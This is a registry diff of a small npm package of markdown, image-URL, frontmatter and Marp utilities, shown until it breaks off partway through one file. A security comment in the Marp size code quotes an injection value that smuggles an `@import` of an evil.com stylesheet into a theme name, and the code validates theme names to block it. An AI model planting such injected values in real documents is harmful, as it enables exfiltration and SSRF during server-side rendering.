@mulmoclaude/markdown-utils 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,3 @@
1
+ # @mulmoclaude/markdown-utils
2
+
3
+ Browser-safe markdown / image rendering utilities shared by the MulmoClaude host and the markdown plugin.
@@ -0,0 +1,2 @@
1
+ export declare function isCrossOriginHttpUrl(href: string, currentOrigin: string): boolean;
2
+ export declare function handleExternalLinkClick(event: MouseEvent): boolean;
@@ -0,0 +1,61 @@
1
+ // Click handler for rendered markdown / HTML bodies that opens
2
+ // external (cross-origin) http(s) links in a new tab instead of
3
+ // navigating the SPA away from itself.
4
+ //
5
+ // Split into a pure predicate (`isCrossOriginHttpUrl`) that's
6
+ // exhaustively unit-tested, and a thin DOM wrapper
7
+ // (`handleExternalLinkClick`) that reads the click event. Callers
8
+ // invoke the wrapper from their own `@click` handler and check the
9
+ // return value to decide whether to fall through to plugin-specific
10
+ // navigation.
11
+ // Pure predicate: is `href` an absolute http(s) URL pointing at an
12
+ // origin different from `currentOrigin`? Used by
13
+ // `handleExternalLinkClick` below, and directly by tests.
14
+ //
15
+ // Returns `false` for:
16
+ // - non-http schemes (mailto:, tel:, javascript:, file: …) — the
17
+ // browser's default behaviour is appropriate for those
18
+ // - same-origin URLs (including hash anchors resolved against the
19
+ // current page, which `anchor.href` normalises to a full URL)
20
+ // - malformed input that `URL` can't parse
21
+ export function isCrossOriginHttpUrl(href, currentOrigin) {
22
+ if (!href.startsWith("http://") && !href.startsWith("https://")) {
23
+ return false;
24
+ }
25
+ try {
26
+ return new URL(href).origin !== currentOrigin;
27
+ }
28
+ catch {
29
+ return false;
30
+ }
31
+ }
32
+ // DOM click handler. Invoke from a view's `@click` listener on a
33
+ // rendered-markdown container. If the event targets an external
34
+ // http(s) link, the default navigation is cancelled and the link
35
+ // opens in a new tab with `noopener,noreferrer`; returns `true` so
36
+ // the caller knows the click was consumed. Returns `false` for
37
+ // every other case (not an anchor, internal link, modifier-key
38
+ // click, non-left-button, …) so the caller can continue with its
39
+ // own plugin-specific click handling (e.g. wiki internal links).
40
+ export function handleExternalLinkClick(event) {
41
+ if (event.button !== 0)
42
+ return false;
43
+ if (event.ctrlKey || event.metaKey || event.shiftKey)
44
+ return false;
45
+ const target = event.target;
46
+ if (!target)
47
+ return false;
48
+ const anchor = target.closest("a");
49
+ if (!anchor)
50
+ return false;
51
+ // `.href` (DOM property) is always a fully-resolved URL; contrast
52
+ // `getAttribute("href")` which returns the raw attribute string.
53
+ // Using the resolved form gives us reliable origin checks and
54
+ // normalises relative paths away.
55
+ const url = anchor.href;
56
+ if (!isCrossOriginHttpUrl(url, window.location.origin))
57
+ return false;
58
+ event.preventDefault();
59
+ window.open(url, "_blank", "noopener,noreferrer");
60
+ return true;
61
+ }
@@ -0,0 +1,7 @@
1
+ export declare function toSafeFilename(name: string, fallback?: string): string;
2
+ export declare function formatLocalDate(timestampMs: number): string;
3
+ export declare function buildPdfFilename(opts: {
4
+ name: string | null | undefined;
5
+ fallback: string;
6
+ timestampMs?: number;
7
+ }): string;
@@ -0,0 +1,33 @@
1
+ // Strip filesystem-hostile chars from a string so it can safely be used
2
+ // as a browser download filename across Windows / macOS / Linux. Not a
3
+ // full slugifier — server-side slugification lives in
4
+ // `server/utils/slug.ts` and is applied before data hits the client.
5
+ // This helper is the last-line defensive escape for plugin views that
6
+ // build a download filename from arbitrary title text.
7
+ const UNSAFE_FILENAME_CHARS = /[/\\:*?"<>|]/g;
8
+ export function toSafeFilename(name, fallback = "download") {
9
+ const cleaned = name.replace(UNSAFE_FILENAME_CHARS, "_").trim();
10
+ return cleaned || fallback;
11
+ }
12
+ // Format a millisecond timestamp as YYYY-MM-DD in the user's local
13
+ // timezone. Used by buildPdfFilename so the date suffix matches the
14
+ // user's wall clock — not UTC, which can confuse users near midnight
15
+ // in non-UTC zones.
16
+ export function formatLocalDate(timestampMs) {
17
+ const date = new Date(timestampMs);
18
+ const year = date.getFullYear();
19
+ const month = String(date.getMonth() + 1).padStart(2, "0");
20
+ const day = String(date.getDate()).padStart(2, "0");
21
+ return `${year}-${month}-${day}`;
22
+ }
23
+ // Build a PDF download filename of the form `name-YYYY-MM-DD.pdf`.
24
+ // The `name` is sanitized via toSafeFilename and falls back to
25
+ // `fallback` when empty / nullish. `timestampMs` defaults to now —
26
+ // callers pass the result's creation timestamp when available so the
27
+ // date reflects when the content was produced, not when the user
28
+ // clicked download.
29
+ export function buildPdfFilename(opts) {
30
+ const safe = toSafeFilename(opts.name ?? "", opts.fallback);
31
+ const date = formatLocalDate(opts.timestampMs ?? Date.now());
32
+ return `${safe}-${date}.pdf`;
33
+ }
@@ -0,0 +1,2 @@
1
+ export declare function getImageBump(imagePath: string): number;
2
+ export declare function bumpImage(imagePath: string): void;
@@ -0,0 +1,13 @@
1
+ import { reactive } from "vue";
2
+ // Keyed by workspace-relative image path (e.g. "artifacts/images/abc.png").
3
+ // `resolveImageSrc` reads this to append `?v=<bump>` to the URL so consumers
4
+ // (View, Preview) re-fetch when the file on disk has been overwritten in
5
+ // place. The canvas plugin is the current producer — it bumps after each
6
+ // autosave PUT.
7
+ const imageBumps = reactive({});
8
+ export function getImageBump(imagePath) {
9
+ return imageBumps[imagePath] ?? 0;
10
+ }
11
+ export function bumpImage(imagePath) {
12
+ imageBumps[imagePath] = Date.now();
13
+ }
@@ -0,0 +1,21 @@
1
+ export declare const RESOLVABLE_TAG_ATTRS: Readonly<Record<string, readonly string[]>>;
2
+ export declare const SRCSET_TAG_ATTRS: Readonly<Record<string, readonly string[]>>;
3
+ export declare function rewriteSrcset(value: string, transform: (url: string) => string | null): string;
4
+ /** Transform every URL-bearing attribute on a recognised tag.
5
+ *
6
+ * `transform` is invoked once per matching attribute value. Return:
7
+ * - `string` to substitute the value (callee is responsible for
8
+ * not breaking out of the surrounding quotes — most callers
9
+ * route through `encodeURIComponent` or a fixed-prefix path)
10
+ * - `null` to leave the attribute untouched (e.g. external URL,
11
+ * `data:` URI, escape-the-workspace path)
12
+ *
13
+ * Other attributes (alt, class, style, …) and `src=`-shaped text
14
+ * inside their quoted values are preserved verbatim because we
15
+ * parse attribute-by-attribute, not by free-form regex.
16
+ *
17
+ * Recognised tags + attributes live in `RESOLVABLE_TAG_ATTRS`. Any
18
+ * tag whose name isn't in the map is returned untouched. Any
19
+ * attribute on a recognised tag whose name isn't in the map's entry
20
+ * is also untouched. */
21
+ export declare function transformResolvableUrlsInHtml(html: string, transform: (url: string) => string | null): string;
@@ -0,0 +1,211 @@
1
+ // Shared HTML-tag URL rewriter — used by:
2
+ // - browser markdown surface (`rewriteImgSrcAttrsInHtml` in
3
+ // `rewriteMarkdownImageRefs.ts`) → rewrites to
4
+ // `/api/files/raw?path=...`
5
+ // - server PDF surface (`inlineImages` in
6
+ // `server/api/routes/pdf.ts`) → rewrites to `data:` URIs
7
+ //
8
+ // Both used to keep their own copy of the same regex shape with a
9
+ // `// Mirrors the shape used by …` comment. That mirroring drifts the
10
+ // moment one side adds a tag (`<source>`, `<video poster>`) and the
11
+ // other doesn't. Single helper here, two callers, one tag list — the
12
+ // drift becomes structurally impossible (#1011 Stage B).
13
+ //
14
+ // `srcset` is handled by a dedicated split/rewrite pass (it's a
15
+ // comma-separated `url descriptor` list, not a single URL) — see
16
+ // `SRCSET_TAG_ATTRS` + `rewriteSrcset` below. SVG `<image href>` /
17
+ // CSS `url()` remain out of scope — see the deferred-list comment
18
+ // on `RESOLVABLE_TAG_ATTRS` below.
19
+ // Tag (lowercased) → URL-bearing attribute(s). Adding a row here
20
+ // extends both Markdown and PDF surfaces simultaneously.
21
+ //
22
+ // Deferred (NOT here):
23
+ // - SVG `<image href>` — gap table item #9, low priority per plan
24
+ // §修正提案 P3-A.
25
+ // - CSS `url()` in `style=` attributes — gap table item #8, same
26
+ // priority.
27
+ export const RESOLVABLE_TAG_ATTRS = {
28
+ img: ["src"],
29
+ source: ["src"],
30
+ video: ["poster", "src"],
31
+ audio: ["src"],
32
+ };
33
+ // `srcset`-bearing attributes (comma-separated `url descriptor`
34
+ // list). Parsed/rewritten by `rewriteSrcset`, NOT the single-URL
35
+ // path. Tag set is a subset of `RESOLVABLE_TAG_ATTRS`'s keys so the
36
+ // outer tag regex already matches them — no alternation change
37
+ // needed (#1275, deferred from #1011 Stage B).
38
+ export const SRCSET_TAG_ATTRS = {
39
+ img: ["srcset"],
40
+ source: ["srcset"],
41
+ };
42
+ function isSrcsetWs(char) {
43
+ return char === " " || char === "\t" || char === "\n" || char === "\f" || char === "\r";
44
+ }
45
+ function stripTrailingCommas(token) {
46
+ let end = token.length;
47
+ while (end > 0 && token[end - 1] === ",")
48
+ end--;
49
+ return token.slice(0, end);
50
+ }
51
+ function skipWsAndCommas(input, from) {
52
+ let pos = from;
53
+ while (pos < input.length && (isSrcsetWs(input[pos]) || input[pos] === ","))
54
+ pos++;
55
+ return pos;
56
+ }
57
+ // Read one `{ url, descriptor }` candidate starting at `from`.
58
+ // Returns the candidate (or null when only whitespace remained) and
59
+ // the position to resume from.
60
+ function readCandidate(input, from) {
61
+ let pos = from;
62
+ const urlStart = pos;
63
+ while (pos < input.length && !isSrcsetWs(input[pos]))
64
+ pos++;
65
+ const rawUrl = input.slice(urlStart, pos);
66
+ const url = stripTrailingCommas(rawUrl);
67
+ if (url.length !== rawUrl.length) {
68
+ // Trailing comma(s) on the URL run → candidate separator, no
69
+ // descriptor. (`data:` internal commas are not trailing, so
70
+ // they stay part of the URL.)
71
+ return { candidate: url ? { url, descriptor: "" } : null, next: pos };
72
+ }
73
+ while (pos < input.length && isSrcsetWs(input[pos]))
74
+ pos++;
75
+ const descStart = pos;
76
+ while (pos < input.length && input[pos] !== ",")
77
+ pos++;
78
+ const descriptor = input.slice(descStart, pos).trim();
79
+ if (pos < input.length && input[pos] === ",")
80
+ pos++;
81
+ return { candidate: url ? { url, descriptor } : null, next: pos };
82
+ }
83
+ // Split a `srcset` value into candidates per the WHATWG "parse a
84
+ // srcset attribute" boundary rules. A naive `split(",")` corrupts
85
+ // `data:` URIs (their base64 payload contains commas); the spec
86
+ // collects the URL as a run of non-whitespace and treats only
87
+ // *trailing* commas on that run as separators (Codex review). Pure
88
+ // scan, no regex → ReDoS-safe.
89
+ function splitSrcsetCandidates(input) {
90
+ const candidates = [];
91
+ let pos = 0;
92
+ while (pos < input.length) {
93
+ pos = skipWsAndCommas(input, pos);
94
+ if (pos >= input.length)
95
+ break;
96
+ const { candidate, next } = readCandidate(input, pos);
97
+ pos = next;
98
+ if (candidate)
99
+ candidates.push(candidate);
100
+ }
101
+ return candidates;
102
+ }
103
+ // Rewrite the URL portion of every candidate in a `srcset` value,
104
+ // preserving descriptors (`1x` / `2x` / `480w`). If no candidate's
105
+ // URL is actually changed (every `transform` returned `null` or the
106
+ // same string), the ORIGINAL value is returned byte-verbatim so a
107
+ // no-op never normalises the author's whitespace (CodeRabbit
108
+ // review). Boundary parsing is `data:`-URI-safe (see
109
+ // `splitSrcsetCandidates`).
110
+ export function rewriteSrcset(value, transform) {
111
+ const candidates = splitSrcsetCandidates(value);
112
+ if (candidates.length === 0)
113
+ return value;
114
+ let changed = false;
115
+ const rendered = candidates.map(({ url, descriptor }) => {
116
+ const replaced = transform(url);
117
+ const finalUrl = replaced === null || replaced === url ? url : ((changed = true), replaced);
118
+ return descriptor ? `${finalUrl} ${descriptor}` : finalUrl;
119
+ });
120
+ return changed ? rendered.join(", ") : value;
121
+ }
122
+ // Outer regex: scan any tag whose name appears in `RESOLVABLE_TAG_ATTRS`,
123
+ // respecting quoted attribute values so `>` inside e.g. `alt="x>y"`
124
+ // doesn't terminate the tag early. The body is one of:
125
+ // - any non-`>` non-quote char `[^>"']`
126
+ // - a complete double-quoted span `"[^"]*"`
127
+ // - a complete single-quoted span `'[^']*'`
128
+ // All branches bounded — no nested quantifiers, no overlap.
129
+ //
130
+ // The tag-name alternation is hand-listed rather than computed from
131
+ // `Object.keys(RESOLVABLE_TAG_ATTRS)` so the regex is a const string
132
+ // (lint-friendly) and the alternation order matches the readable
133
+ // declaration order. Adding a tag means: update the map AND the
134
+ // alternation here. The unit test in test_htmlSrcAttrs.ts pins this
135
+ // in lockstep so the two never disagree silently.
136
+ //
137
+ // eslint-disable-next-line security/detect-unsafe-regex -- bounded alternatives, ReDoS-safe (test in test_htmlSrcAttrs.ts)
138
+ const RESOLVABLE_TAG_OUTER_RE = /<(?:img|source|video|audio)\b(?:[^>"']|"[^"]*"|'[^']*')*\/?>/gi;
139
+ // Tag-name extractor for the matched outer tag. Anchored so we only
140
+ // read the leading `<name`, never an attribute value that happens to
141
+ // look like a tag.
142
+ const TAG_NAME_RE = /^<([a-z]+)/i;
143
+ // Attribute iterator: walks each `name=value` pair inside a tag. The
144
+ // leading `\s+` ensures we only match real attribute boundaries, not
145
+ // `src=` text embedded inside another attribute's quoted value.
146
+ // Capture groups:
147
+ // 1: leading whitespace
148
+ // 2: attribute name
149
+ // 3: `=` with surrounding spaces (only when value present)
150
+ // 4: full quoted/unquoted value (unused but captured for clarity)
151
+ // 5: double-quoted value (without quotes)
152
+ // 6: single-quoted value (without quotes)
153
+ // 7: unquoted value — refuses leading `"` / `'` so a malformed
154
+ // `<img src="aaaa` (no closing quote) doesn't capture the stray
155
+ // quote as the value
156
+ //
157
+ // All quantifiers bounded — verified ReDoS-safe in test_htmlSrcAttrs.ts.
158
+ // eslint-disable-next-line sonarjs/super-linear-regex, sonarjs/regex-complexity, security/detect-unsafe-regex -- bounded quantifiers, ReDoS-safe (test in test_htmlSrcAttrs.ts)
159
+ const ATTR_ITER_RE = /(\s+)([A-Za-z][\w:-]*)(?:(\s*=\s*)("([^"]*)"|'([^']*)'|([^\s>"'][^\s>]*)))?/g;
160
+ /** Transform every URL-bearing attribute on a recognised tag.
161
+ *
162
+ * `transform` is invoked once per matching attribute value. Return:
163
+ * - `string` to substitute the value (callee is responsible for
164
+ * not breaking out of the surrounding quotes — most callers
165
+ * route through `encodeURIComponent` or a fixed-prefix path)
166
+ * - `null` to leave the attribute untouched (e.g. external URL,
167
+ * `data:` URI, escape-the-workspace path)
168
+ *
169
+ * Other attributes (alt, class, style, …) and `src=`-shaped text
170
+ * inside their quoted values are preserved verbatim because we
171
+ * parse attribute-by-attribute, not by free-form regex.
172
+ *
173
+ * Recognised tags + attributes live in `RESOLVABLE_TAG_ATTRS`. Any
174
+ * tag whose name isn't in the map is returned untouched. Any
175
+ * attribute on a recognised tag whose name isn't in the map's entry
176
+ * is also untouched. */
177
+ export function transformResolvableUrlsInHtml(html, transform) {
178
+ if (!html)
179
+ return html;
180
+ return html.replace(RESOLVABLE_TAG_OUTER_RE, (tag) => {
181
+ const tagNameMatch = TAG_NAME_RE.exec(tag);
182
+ if (!tagNameMatch)
183
+ return tag;
184
+ const tagName = tagNameMatch[1].toLowerCase();
185
+ const resolvableAttrs = RESOLVABLE_TAG_ATTRS[tagName];
186
+ const srcsetAttrs = SRCSET_TAG_ATTRS[tagName];
187
+ if (!resolvableAttrs && !srcsetAttrs)
188
+ return tag;
189
+ return tag.replace(ATTR_ITER_RE, (...captures) => replaceAttrIfResolvable(captures, resolvableAttrs ?? [], srcsetAttrs ?? [], transform));
190
+ });
191
+ }
192
+ function replaceAttrIfResolvable(captures, resolvableAttrs, srcsetAttrs, transform) {
193
+ const [full, leading, name, eqWithSpaces, , doubleQuoted, singleQuoted, bare] = captures;
194
+ if (!eqWithSpaces)
195
+ return full;
196
+ const lowerName = name.toLowerCase();
197
+ const isSrcset = srcsetAttrs.includes(lowerName);
198
+ if (!isSrcset && !resolvableAttrs.includes(lowerName))
199
+ return full;
200
+ const value = (doubleQuoted ?? singleQuoted ?? bare ?? "").trim();
201
+ if (!value)
202
+ return full;
203
+ const replacement = isSrcset ? rewriteSrcset(value, transform) : transform(value);
204
+ // Single-URL: null means "leave verbatim". srcset: rewriteSrcset
205
+ // always returns a string (per-candidate nulls handled inside),
206
+ // and a no-op rewrite equal to the original is also left verbatim.
207
+ if (replacement === null || replacement === value)
208
+ return full;
209
+ const quote = doubleQuoted !== undefined ? '"' : singleQuoted !== undefined ? "'" : '"';
210
+ return `${leading}${name}${eqWithSpaces}${quote}${replacement}${quote}`;
211
+ }
@@ -0,0 +1,10 @@
1
+ export * from "./markdown/frontmatter.js";
2
+ export * from "./markdown/extractFirstH1.js";
3
+ export * from "./markdown/marpDetect.js";
4
+ export * from "./markdown/marpTheme.js";
5
+ export * from "./markdown/marpCustomSize.js";
6
+ export * from "./markdown/taskList.js";
7
+ export * from "./image/cacheBust.js";
8
+ export * from "./image/htmlSrcAttrs.js";
9
+ export * from "./dom/externalLink.js";
10
+ export * from "./files/filename.js";
package/dist/index.js ADDED
@@ -0,0 +1,10 @@
1
+ export * from "./markdown/frontmatter.js";
2
+ export * from "./markdown/extractFirstH1.js";
3
+ export * from "./markdown/marpDetect.js";
4
+ export * from "./markdown/marpTheme.js";
5
+ export * from "./markdown/marpCustomSize.js";
6
+ export * from "./markdown/taskList.js";
7
+ export * from "./image/cacheBust.js";
8
+ export * from "./image/htmlSrcAttrs.js";
9
+ export * from "./dom/externalLink.js";
10
+ export * from "./files/filename.js";
@@ -0,0 +1,10 @@
1
+ /**
2
+ * Return the trimmed text of the first H1 line, or null if none
3
+ * exists. An H1 is a line that starts with `#` followed by at
4
+ * least one whitespace char (space or tab) and at least one
5
+ * non-whitespace content char. `##` and deeper headings are
6
+ * skipped. Lines are separated by `\n`, `\r`, or `\r\n` —
7
+ * mirroring the old regex's `m`-flag `$` anchor which stops at
8
+ * either CR or LF.
9
+ */
10
+ export declare function extractFirstH1(markdown: string): string | null;
@@ -0,0 +1,39 @@
1
+ // Extract the first ATX-style H1 heading (`# title`) from a
2
+ // markdown string. Used by both:
3
+ // - server/journal/index.ts (topic row labels)
4
+ // - src/plugins/markdown/Preview.vue (document title)
5
+ //
6
+ // Implemented as a line walker rather than a regex so it avoids
7
+ // the backtracking risk that trips `sonarjs/slow-regex`. The
8
+ // accepted heading grammar matches the plugin's old regex
9
+ // `/^#\s+(.+)$/m`: `#`, at least one inline whitespace char, then
10
+ // non-empty content.
11
+ /**
12
+ * Return the trimmed text of the first H1 line, or null if none
13
+ * exists. An H1 is a line that starts with `#` followed by at
14
+ * least one whitespace char (space or tab) and at least one
15
+ * non-whitespace content char. `##` and deeper headings are
16
+ * skipped. Lines are separated by `\n`, `\r`, or `\r\n` —
17
+ * mirroring the old regex's `m`-flag `$` anchor which stops at
18
+ * either CR or LF.
19
+ */
20
+ export function extractFirstH1(markdown) {
21
+ for (const line of splitLines(markdown)) {
22
+ if (line.length < 2 || line[0] !== "#")
23
+ continue;
24
+ // Second char must be inline whitespace, not another `#`.
25
+ // That's what excludes `## H2` / `### H3` / etc.
26
+ if (!isInlineSpace(line.charCodeAt(1)))
27
+ continue;
28
+ const text = line.slice(2).trim();
29
+ if (text.length > 0)
30
+ return text;
31
+ }
32
+ return null;
33
+ }
34
+ function splitLines(str) {
35
+ return str.split(/\r\n|\r|\n/);
36
+ }
37
+ function isInlineSpace(code) {
38
+ return code === 0x20 || code === 0x09; // space or tab
39
+ }
@@ -0,0 +1,39 @@
1
+ export interface ParsedMarkdown {
2
+ /** Parsed YAML object. Empty `{}` when the document has no
3
+ * frontmatter or the YAML failed to parse. Insertion order
4
+ * matches the source — `Object.entries(meta)` is the right way
5
+ * to iterate for an ordered properties panel. */
6
+ meta: Record<string, unknown>;
7
+ /** Body after stripping the frontmatter envelope. Trailing
8
+ * newline at the end of the closing `---` line is consumed; a
9
+ * no-frontmatter document returns the raw input verbatim. */
10
+ body: string;
11
+ /** True iff a well-formed `---\n...\n---\n` envelope was
12
+ * detected and parsed. False for documents without an envelope
13
+ * or where the envelope is malformed (in which case the body
14
+ * is returned verbatim and `meta` is `{}`). */
15
+ hasHeader: boolean;
16
+ }
17
+ /** Parse a markdown document, splitting frontmatter from body.
18
+ * Always returns an object — never throws. Malformed YAML inside
19
+ * a well-formed envelope falls back to `{ meta: {}, hasHeader: false }`
20
+ * so a typo in the header doesn't break rendering. */
21
+ export declare function parseFrontmatter(raw: string): ParsedMarkdown;
22
+ /** Serialize a meta object + body back into the canonical
23
+ * `---\n...\n---\n\nbody` shape. An empty `meta` returns the body
24
+ * alone (no envelope) — the lazy-on-write contract: don't add
25
+ * ceremony to documents that don't have anything to record.
26
+ *
27
+ * Round-trip semantics: VALUE-preserving, NOT byte-preserving.
28
+ * `js-yaml` adds quotes to ambiguous scalars (`'1.20'`, `'true'`)
29
+ * so they parse back as the same string under FAILSAFE_SCHEMA.
30
+ * Source-text formatting (unquoted vs quoted) may change on save
31
+ * but the parsed value is stable across rounds (codex review
32
+ * iter-2 #902). */
33
+ export declare function serializeWithFrontmatter(meta: Record<string, unknown>, body: string): string;
34
+ /** Merge a patch into an existing meta object. Unknown keys in
35
+ * `existing` are preserved verbatim; keys present in `patch`
36
+ * overwrite. A `null` or `undefined` patch value DELETES the key
37
+ * (pattern borrowed from REST PATCH semantics) — callers that
38
+ * want "leave alone" should omit the key entirely. */
39
+ export declare function mergeFrontmatter(existing: Record<string, unknown>, patch: Record<string, unknown>): Record<string, unknown>;
@@ -0,0 +1,113 @@
1
+ // Canonical YAML-frontmatter parser / serializer / merger for the
2
+ // `---\nkey: value\n---\nbody` markdown convention. Used on the Vue
3
+ // side; the server side has a mirror at
4
+ // `server/utils/markdown/frontmatter.ts` (#895 PR B). The two share
5
+ // the same shape but live in separate files because the build
6
+ // targets are different (browser vs Node) and a shared package is
7
+ // overkill for ~10 lines of glue.
8
+ //
9
+ // Implementation uses `js-yaml` so we get full YAML coverage (block
10
+ // lists, multi-line strings, escaping) instead of the regex
11
+ // approximation in the legacy `src/utils/format/frontmatter.ts`.
12
+ import { FAILSAFE_SCHEMA, dump as yamlDump, load as yamlLoad } from "js-yaml";
13
+ const FRONTMATTER_OPEN = /^---\r?\n/;
14
+ // `(?:^|\r?\n)` lets the closing fence sit at the very start of
15
+ // `afterOpen` — needed for the empty-envelope case `---\n---\n`
16
+ // where the closing `---` is the first thing after the open is
17
+ // stripped. Without the alternation the regex required a preceding
18
+ // newline and silently treated empty headers as malformed.
19
+ const FRONTMATTER_CLOSE = /(?:^|\r?\n)---\s*(?:\r?\n|$)/;
20
+ /** Parse a markdown document, splitting frontmatter from body.
21
+ * Always returns an object — never throws. Malformed YAML inside
22
+ * a well-formed envelope falls back to `{ meta: {}, hasHeader: false }`
23
+ * so a typo in the header doesn't break rendering. */
24
+ export function parseFrontmatter(raw) {
25
+ if (!FRONTMATTER_OPEN.test(raw)) {
26
+ return { meta: {}, body: raw, hasHeader: false };
27
+ }
28
+ const afterOpen = raw.replace(FRONTMATTER_OPEN, "");
29
+ const closeMatch = FRONTMATTER_CLOSE.exec(afterOpen);
30
+ if (!closeMatch || closeMatch.index === undefined) {
31
+ return { meta: {}, body: raw, hasHeader: false };
32
+ }
33
+ const yamlText = afterOpen.slice(0, closeMatch.index);
34
+ const body = afterOpen.slice(closeMatch.index + closeMatch[0].length);
35
+ const meta = safeYamlLoad(yamlText);
36
+ if (meta === null) {
37
+ return { meta: {}, body: raw, hasHeader: false };
38
+ }
39
+ return { meta, body, hasHeader: true };
40
+ }
41
+ /** Serialize a meta object + body back into the canonical
42
+ * `---\n...\n---\n\nbody` shape. An empty `meta` returns the body
43
+ * alone (no envelope) — the lazy-on-write contract: don't add
44
+ * ceremony to documents that don't have anything to record.
45
+ *
46
+ * Round-trip semantics: VALUE-preserving, NOT byte-preserving.
47
+ * `js-yaml` adds quotes to ambiguous scalars (`'1.20'`, `'true'`)
48
+ * so they parse back as the same string under FAILSAFE_SCHEMA.
49
+ * Source-text formatting (unquoted vs quoted) may change on save
50
+ * but the parsed value is stable across rounds (codex review
51
+ * iter-2 #902). */
52
+ export function serializeWithFrontmatter(meta, body) {
53
+ if (Object.keys(meta).length === 0)
54
+ return body;
55
+ // `lineWidth: -1` disables auto-wrap so long URLs / titles stay on
56
+ // one line. `noRefs: true` avoids YAML anchor syntax (`&id001`)
57
+ // which is technically valid but visually noisy in plain-text
58
+ // markdown. js-yaml's default already trims a trailing newline.
59
+ const yamlText = yamlDump(meta, { lineWidth: -1, noRefs: true }).trimEnd();
60
+ return `---\n${yamlText}\n---\n\n${body}`;
61
+ }
62
+ /** Merge a patch into an existing meta object. Unknown keys in
63
+ * `existing` are preserved verbatim; keys present in `patch`
64
+ * overwrite. A `null` or `undefined` patch value DELETES the key
65
+ * (pattern borrowed from REST PATCH semantics) — callers that
66
+ * want "leave alone" should omit the key entirely. */
67
+ export function mergeFrontmatter(existing, patch) {
68
+ const out = { ...existing };
69
+ for (const [key, value] of Object.entries(patch)) {
70
+ if (value === null || value === undefined) {
71
+ Reflect.deleteProperty(out, key);
72
+ }
73
+ else {
74
+ out[key] = value;
75
+ }
76
+ }
77
+ return out;
78
+ }
79
+ function safeYamlLoad(text) {
80
+ // js-yaml 5.x THROWS on empty / whitespace-only input where 4.x
81
+ // returned `undefined`. An empty frontmatter block (`---\n---\n`)
82
+ // means "no metadata, fine" to our callers, not "malformed", so
83
+ // pre-check the string and return `{}` before reaching the loader.
84
+ if (text.trim() === "")
85
+ return {};
86
+ try {
87
+ // `FAILSAFE_SCHEMA` keeps every scalar as a string and skips
88
+ // type coercion. Two motivating cases:
89
+ //
90
+ // - YAML 1.1 dates: `created: 2026-04-27` would become a
91
+ // `Date` object under CORE_SCHEMA, breaking round-trip.
92
+ // - Numeric-looking strings: `version: 1.20` → number 1.2
93
+ // under JSON_SCHEMA, dropping the trailing zero on save
94
+ // (codex review iter-1 #902).
95
+ //
96
+ // For our domain — title / created / updated / tags / editor —
97
+ // everything that should be a string IS one, and the rare
98
+ // caller that wants a number can coerce explicitly. Mappings
99
+ // and sequences still parse normally (FAILSAFE keeps those).
100
+ const loaded = yamlLoad(text, { schema: FAILSAFE_SCHEMA });
101
+ // `yaml.load` may still return a primitive for scalar-only YAML
102
+ // (e.g. `"hello"` parses to the string `"hello"`). Only accept
103
+ // plain objects — anything else is a malformed header.
104
+ if (loaded === null || loaded === undefined)
105
+ return {};
106
+ if (typeof loaded !== "object" || Array.isArray(loaded))
107
+ return null;
108
+ return loaded;
109
+ }
110
+ catch {
111
+ return null;
112
+ }
113
+ }
@@ -0,0 +1,15 @@
1
+ interface MarpThemeSet {
2
+ add: (css: string) => void;
3
+ }
4
+ interface MarpLike {
5
+ themeSet: MarpThemeSet;
6
+ }
7
+ /**
8
+ * Intercept Marp's `size:` directive for values the built-in themes
9
+ * don't understand. When a custom size is detected, registers a
10
+ * composite theme on the Marp instance and returns markdown rewritten
11
+ * to use it. Pass-through for standard `16:9` / `4:3` (Marp handles
12
+ * them natively) and for documents that don't declare a size.
13
+ */
14
+ export declare function applyCustomMarpSize(marp: MarpLike, markdown: string): string;
15
+ export {};
@@ -0,0 +1,102 @@
1
+ // Bridge Marp's `size:` directive with canvas dimensions outside the
2
+ // default theme's preset list. Marp 4.x's built-in `default` / `gaia`
3
+ // / `uncover` themes only honour `size: 16:9` and `size: 4:3` — any
4
+ // other value (numeric `1080x1920`, an aspect like `9:16` or
5
+ // `16:10`, etc.) is silently dropped, leaving the slide canvas at
6
+ // 1280×720 even though the user clearly wanted something else.
7
+ //
8
+ // We work around it by parsing the frontmatter ourselves, dynamically
9
+ // registering a one-off composite theme (`@import "<userTheme>"; section
10
+ // { width: Wpx; height: Hpx; }`) on the Marp instance, then rewriting
11
+ // the frontmatter to point at the generated theme and drop the
12
+ // unrecognised `size:` directive. The user keeps writing the natural
13
+ // `size: 9:16` / `size: 1080x1920` shape; everything downstream
14
+ // (preview iframe sizing, PDF page dimensions) reads the new viewBox
15
+ // and Just Works.
16
+ import { dump as yamlDump } from "js-yaml";
17
+ import { parseFrontmatter } from "./frontmatter";
18
+ // Sensible canvas defaults for the aspect-ratio shorthand. Picked at
19
+ // 1080-line resolution so portrait/wide decks stay print-quality.
20
+ const ASPECT_PRESETS = {
21
+ "9:16": [1080, 1920],
22
+ "16:10": [1280, 800],
23
+ "1:1": [1080, 1080],
24
+ };
25
+ // Require ≥3 digits to reject implausibly small canvases (e.g.
26
+ // `0x0`, `10x10`) that would render unreadable slides.
27
+ const NUMERIC_SIZE_RE = /^(\d{3,5})[xX](\d{3,5})$/;
28
+ // Hard caps on the canvas dimensions we'll accept from the
29
+ // frontmatter. Above these, a hostile / typo'd `size: 99999x99999`
30
+ // would let marp-core emit a 99999×99999 SVG which then balloons
31
+ // the preview iframe's pixel height (slideCount × ~100000) and
32
+ // causes Chromium to OOM during PDF rendering. 3840 is "4K width",
33
+ // which is well past anything an LLM-generated deck would
34
+ // legitimately want.
35
+ const MIN_CANVAS_PX = 200;
36
+ const MAX_CANVAS_PX = 3840;
37
+ // `meta.theme` arrives from frontmatter (user-controlled) and is
38
+ // interpolated into the generated theme's `@import "<userTheme>"`
39
+ // directive. Without validation, a value like
40
+ // theme: "default"; @import "https://evil.com/css"; /*
41
+ // would inject extra `@import` directives, and on the server PDF
42
+ // path (no CSP) Puppeteer would dutifully fetch the external CSS
43
+ // during render — an exfiltration / SSRF vector. Restrict to plain
44
+ // theme-name characters; anything else falls back to "default".
45
+ const SAFE_THEME_NAME_RE = /^[A-Za-z0-9_-]+$/;
46
+ function inBounds(dim) {
47
+ return Number.isFinite(dim) && dim >= MIN_CANVAS_PX && dim <= MAX_CANVAS_PX;
48
+ }
49
+ function parseCustomSize(value) {
50
+ const preset = ASPECT_PRESETS[value];
51
+ if (preset)
52
+ return { width: preset[0], height: preset[1] };
53
+ const match = NUMERIC_SIZE_RE.exec(value);
54
